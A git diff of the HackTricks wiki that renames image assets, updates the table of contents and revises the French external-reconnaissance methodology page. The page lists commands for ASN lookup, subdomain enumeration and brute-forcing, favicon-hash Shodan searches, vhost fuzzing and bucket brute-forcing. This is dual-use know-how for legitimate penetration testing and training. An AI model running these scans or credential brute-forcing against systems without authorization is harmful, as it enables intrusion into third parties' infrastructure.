diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..e70bceed6 Binary files /dev/null and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..2173ed0a4 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 2173ed0a4..53e9f7c1f 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 53e9f7c1f..0ea1b8586 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0ea1b8586..b38f1e7c3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index b38f1e7c3..0e554c193 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0e554c193..a8cfa5b77 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a8cfa5b77..33c23d55b 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 33c23d55b..bedca8e18 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index bedca8e18..a0a303a29 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a0a303a29..f9a051e20 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png index f9a051e20..0b96b38ef 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index 0b96b38ef..0ea2dbdc6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index 0ea2dbdc6..af973a127 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index af973a127..4207464e0 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index 4207464e0..ca4f55331 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index ca4f55331..1e61555dd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index 1e61555dd..6856b34b8 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index 6856b34b8..cee86ab50 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index cee86ab50..1a985c3d4 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 1a985c3d4..70fe9294a 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/SUMMARY.md b/SUMMARY.md index a1eda7d91..1f0d19d0f 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -161,6 +161,7 @@ * [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md) * [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md) * [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md) + * [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md) * [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md) * [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md) * [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) @@ -509,7 +510,7 @@ * [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md) * [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md) -## 🕸 Pentesting Web +## 🕸️ Pentesting Web * [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md) * [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) @@ -664,7 +665,7 @@ * [CSS Injection](pentesting-web/xs-search/css-injection/README.md) * [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md) -## ⛈ Cloud Security +## ⛈️ Cloud Security * [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security) * [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology) @@ -722,7 +723,7 @@ * [ICMPsh](backdoors/icmpsh.md) * [Cobalt Strike](c2/cobalt-strike.md) -## ✍ TODO +## ✍️ TODO * [Other Big References](misc/references.md) * [Rust Basics](todo/rust-basics.md) diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index bb5c95f89..7c2abf673 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -14,27 +14,27 @@ Autres façons de soutenir HackTricks : -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). {% embed url="https://www.stmcyber.com/careers" %} ## Découvertes d'actifs -> On vous a dit que tout ce qui appartient à une entreprise est dans le périmètre, et vous voulez découvrir ce que possède réellement cette entreprise. +> On vous a dit que tout ce qui appartient à une entreprise est dans le périmètre, et vous voulez savoir ce que possède réellement cette entreprise. Le but de cette phase est d'obtenir toutes les **entreprises appartenant à l'entreprise principale** puis tous les **actifs** de ces entreprises. Pour ce faire, nous allons : 1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises dans le périmètre. 2. Trouver l'ASN (le cas échéant) de chaque entreprise, cela nous donnera les plages d'IP possédées par chaque entreprise. -3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisation, domaines...) liées à la première (cela peut être fait de manière récursive). +3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisations, domaines...) liées au premier (cela peut être fait de manière récursive). 4. Utiliser d'autres techniques comme les filtres shodan `org` et `ssl` pour rechercher d'autres actifs (le truc `ssl` peut être fait de manière récursive). ### **Acquisitions** -Tout d'abord, nous devons savoir quelles **autres entreprises sont détenues par l'entreprise principale**.\ -Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Vous verrez d'autres entreprises acquises par la principale.\ +Tout d'abord, nous devons savoir quelles **autres entreprises sont possédées par l'entreprise principale**.\ +Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Vous verrez là d'autres entreprises acquises par la principale.\ Une autre option est de visiter la page **Wikipedia** de l'entreprise principale et rechercher les **acquisitions**. > À ce stade, vous devriez connaître toutes les entreprises dans le périmètre. Voyons comment trouver leurs actifs. @@ -45,14 +45,14 @@ Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique d'accès aux réseaux externes clairement définie et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs. Il est intéressant de savoir si l'**entreprise a attribué un ASN** pour trouver ses **plages d'IP**. Il sera intéressant d'effectuer un **test de vulnérabilité** contre tous les **hôtes** dans le **périmètre** et de rechercher des domaines à l'intérieur de ces IPs.\ -Vous pouvez **rechercher** par **nom d'entreprise**, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien. +Vous pouvez **rechercher** par le **nom de l'entreprise**, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\ +**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). De toute façon, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -De plus, l'énumération des sous-domaines de [**BBOT**](https://github.com/blacklanternsecurity/bbot) agrège automatiquement et résume les ASN à la fin de l'analyse. +De plus, l'**[outil BBOT](https://github.com/blacklanternsecurity/bbot)** effectue automatiquement l'énumération des sous-domaines et agrège les résumés des ASN à la fin de l'analyse. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -74,8 +74,8 @@ Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com ### **Recherche de vulnérabilités** -À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\ -De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment tester de possibles services en cours d'exécution.\ +À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous en avez l'autorisation, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\ +De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer des tests d'intrusion sur plusieurs services possibles en cours d'exécution.\ **De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** forcer l'accès aux services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domaines @@ -88,7 +88,7 @@ Tout d'abord, vous devriez rechercher le(s) **domaine(s) principal(aux)** de cha ### **DNS inversé** -Une fois que vous avez trouvé toutes les plages d'adresses IP des domaines, vous pourriez essayer d'effectuer des **recherches DNS inversées** sur ces **IP pour trouver d'autres domaines dans le périmètre**. Essayez d'utiliser un serveur DNS de la victime ou un serveur DNS bien connu (1.1.1.1, 8.8.8.8) +Une fois que vous avez trouvé toutes les plages d'adresses IP des domaines, vous pourriez essayer d'effectuer des **recherches DNS inversées** sur ces **IP pour trouver plus de domaines dans le périmètre**. Essayez d'utiliser un serveur DNS de la victime ou un serveur DNS bien connu (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -100,7 +100,7 @@ Vous pouvez également utiliser un outil en ligne pour ces informations : [http: ### **Reverse Whois (boucle)** -À l'intérieur d'un **whois**, vous pouvez trouver beaucoup d'**informations** intéressantes telles que le **nom de l'organisation**, l'**adresse**, les **emails**, les numéros de téléphone... Mais ce qui est encore plus intéressant, c'est que vous pouvez trouver **d'autres actifs liés à l'entreprise** si vous effectuez des **recherches de reverse whois par l'un de ces champs** (par exemple, d'autres registres whois où le même email apparaît).\ +À l'intérieur d'un **whois**, vous pouvez trouver beaucoup d'**informations** intéressantes telles que le **nom de l'organisation**, l'**adresse**, les **emails**, les numéros de téléphone... Mais ce qui est encore plus intéressant, c'est que vous pouvez trouver **davantage d'actifs liés à l'entreprise** si vous effectuez des **recherches de reverse whois par l'un de ces champs** (par exemple, d'autres registres whois où le même email apparaît).\ Vous pouvez utiliser des outils en ligne comme : * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuit** @@ -112,9 +112,9 @@ Vous pouvez utiliser des outils en ligne comme : * [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuit Vous pouvez automatiser cette tâche en utilisant [**DomLink** ](https://github.com/vysecurity/DomLink)(nécessite une clé API whoxy).\ -Vous pouvez également effectuer une découverte automatique de reverse whois avec [amass](https://github.com/OWASP/Amass) : `amass intel -d tesla.com -whois` +Vous pouvez également effectuer une découverte automatique de reverse whois avec [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` -**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine chaque fois que vous trouvez un nouveau domaine.** +**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine à chaque fois que vous trouvez un nouveau domaine.** ### **Trackers** @@ -131,7 +131,7 @@ Il existe des pages et des outils qui vous permettent de rechercher ces trackers ### **Favicon** -Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) créé par [@m4ll0k2](https://twitter.com/m4ll0k2) fait. Voici comment l'utiliser : +Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) réalisé par [@m4ll0k2](https://twitter.com/m4ll0k2) fait. Voici comment l'utiliser : ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -140,7 +140,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s En termes simples, favihash nous permettra de découvrir les domaines qui ont le même hachage d'icône favicon que notre cible. -De plus, vous pouvez également rechercher des technologies en utilisant le hachage de favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hachage de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher si dans shodan et **trouver plus d'endroits vulnérables**: +De plus, vous pouvez également rechercher des technologies en utilisant le hachage de favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hachage de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher dans shodan et **trouver plus d'endroits vulnérables**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -157,11 +157,11 @@ fhash = mmh3.hash(favicon) print(f"{url} : {fhash}") return fhash ``` -### **Droit d'auteur / Chaîne unique** +### **Droits d'auteur / Chaîne unique** -Recherchez à l'intérieur des pages web des **chaînes qui pourraient être partagées sur différents sites web de la même organisation**. La **chaîne de droit d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne sur **Google**, dans d'autres **navigateurs** ou même sur **Shodan**: `shodan search http.html:"Chaîne de droit d'auteur"` +Recherchez à l'intérieur des pages web des **chaînes qui pourraient être partagées sur différents sites web de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne sur **Google**, dans d'autres **navigateurs** ou même dans **Shodan**: `shodan search http.html:"Chaîne de droits d'auteur"` -### **Heure CRT** +### **Temps CRT** Il est courant d'avoir une tâche cron telle que ```bash @@ -170,7 +170,7 @@ Il est courant d'avoir une tâche cron telle que ``` ### **Prise de contrôle passive** -Apparemment, il est courant que des personnes attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et finissent par **perdre cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, simplement **lancer une VM** dans un cloud (comme Digital Ocean) vous permettra en réalité de **prendre le contrôle de certains sous-domaines**. +Apparemment, il est courant que les gens attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et à un moment donné **perdent cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, simplement **lancer une VM** dans un cloud (comme Digital Ocean) vous permettra en fait de **prendre le contrôle de certains sous-domaines**. [**Cet article**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **démarre une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **recherche dans Virustotal les enregistrements de sous-domaines** pointant vers elle. @@ -186,14 +186,14 @@ Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines associés** à un domaine principal et leurs **sous-domaines**, assez incroyable. +[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines associés** à un domaine principal et leurs **sous-domaines**, assez incroyable. ### **Recherche de vulnérabilités** Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Enregistrez-le simplement (si c'est assez bon marché) et informez l'entreprise. Si vous trouvez un **domaine avec une IP différente** de ceux que vous avez déjà trouvés dans la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\ -_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc il n'est pas dans le périmètre, soyez prudent._ +_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._ \ **Astuce de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! @@ -271,7 +271,7 @@ Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas dir ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` -* [**API gratuite JLDC**](https://jldc.me/anubis/subdomains/google.com) +* [**API gratuit JLDC**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` @@ -295,7 +295,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné. +* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Machine à remonter le temps et de Common Crawl pour un domaine donné. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -358,7 +358,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est un wrapper autour de `massdns`, écrit en go, qui vous permet d'énumérer des sous-domaines valides en utilisant la force brute active, ainsi que de résoudre des sous-domaines avec la gestion des wildcards et un support d'entrée-sortie facile. +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est une enveloppe autour de `massdns`, écrite en go, qui vous permet d'énumérer les sous-domaines valides en utilisant la force brute active, ainsi que de résoudre les sous-domaines avec la gestion des wildcards et un support d'entrée-sortie facile. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -379,7 +379,7 @@ Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et la f cat subdomains.txt | dnsgen - ``` * [**goaltdns**](https://github.com/subfinder/goaltdns): Étant donné les domaines et sous-domaines, générer des permutations. -* Vous pouvez obtenir la liste de permutations de goaltdns **wordlist** [**ici**](https://github.com/subfinder/goaltdns/blob/master/words.txt). +* Vous pouvez obtenir la liste de permutations de **wordlist** de goaltdns [**ici**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` @@ -402,7 +402,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ #### Génération intelligente de permutations -* [**regulator**](https://github.com/cramppet/regulator): Pour plus d'informations, consultez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement obtenir les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines. +* [**regulator**](https://github.com/cramppet/regulator) : Pour plus d'informations, consultez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement obtenir les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute @@ -414,7 +414,7 @@ echo www | subzuf facebook.com ``` ### **Workflow de découverte de sous-domaines** -Consultez ce billet de blog que j'ai écrit sur comment **automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant des **workflows Trickest** afin de ne pas avoir à lancer manuellement une série d'outils sur mon ordinateur : +Consultez ce billet de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant des **workflows Trickest** afin de ne pas avoir à lancer manuellement une série d'outils sur mon ordinateur : {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -426,7 +426,7 @@ Si vous trouvez une adresse IP contenant **une ou plusieurs pages web** apparten #### OSINT -Vous pouvez trouver certains **VHosts dans des IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**. +Vous pouvez trouver certains **VHosts dans les IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**. **Brute Force** @@ -456,12 +456,12 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ``` ### **Forçage de seaux** -En cherchant des **sous-domaines**, gardez un œil pour voir s'ils pointent vers un type de **seau**, et dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +En cherchant des **sous-domaines**, gardez un œil pour voir s'ils pointent vers un **seau** de quelque type que ce soit, et dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**forcer les noms de seau possibles et vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/). ### **Surveillance** -Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) le fait. +Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** que [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) fait. ### **Recherche de vulnérabilités** @@ -473,8 +473,8 @@ _Notez que parfois le sous-domaine est hébergé à l'intérieur d'une IP qui n' ## IPs -Dans les premières étapes, vous pourriez avoir **trouvé des plages d'IP, des domaines et des sous-domaines**.\ -Il est temps de **recueillir toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).** +Dans les premières étapes, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\ +Il est temps de **rassembler toutes les IPs de ces plages** et pour les 